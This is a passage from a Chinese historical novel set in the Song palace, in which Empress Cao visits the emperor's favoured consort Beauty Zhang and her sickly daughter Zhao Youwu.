最重视的人要最先去或者最后去。曹皇后让人抬着大笔赏赐,最后去张美人处。 张美人最为受宠,皇帝专门为她选了集圣殿右边角落的宽敞直舍,以免她被其他妃嫔打扰。曹皇后看望完冯氏后,要绕一圈才能到张美人的直舍。 张美人也是十五岁承宠,承宠三年连生三女。安寿公主和宝和公主都是不到两岁便夭折,只剩下第三女赵幼悟。张美人几乎每年都生孩子死孩子,她和皇帝都对幼女赵幼悟特别看重。 皇帝为了保住这个和爱妾生的女儿,还为赵幼悟赐法号保慈崇佑大师,常让张美人带着女儿去皇家道观万寿观听经“修持”。皇帝也常常同去,与张美人、赵幼悟如凡间夫妻父女般相处。 赵幼悟再次生病,张美人神色憔悴。但见到曹皇后到来时,张美人立刻端起了傲色,仿佛扬起了尾羽的小公鸡。 曹皇后见着特别有趣,压抑的心情都好转不少。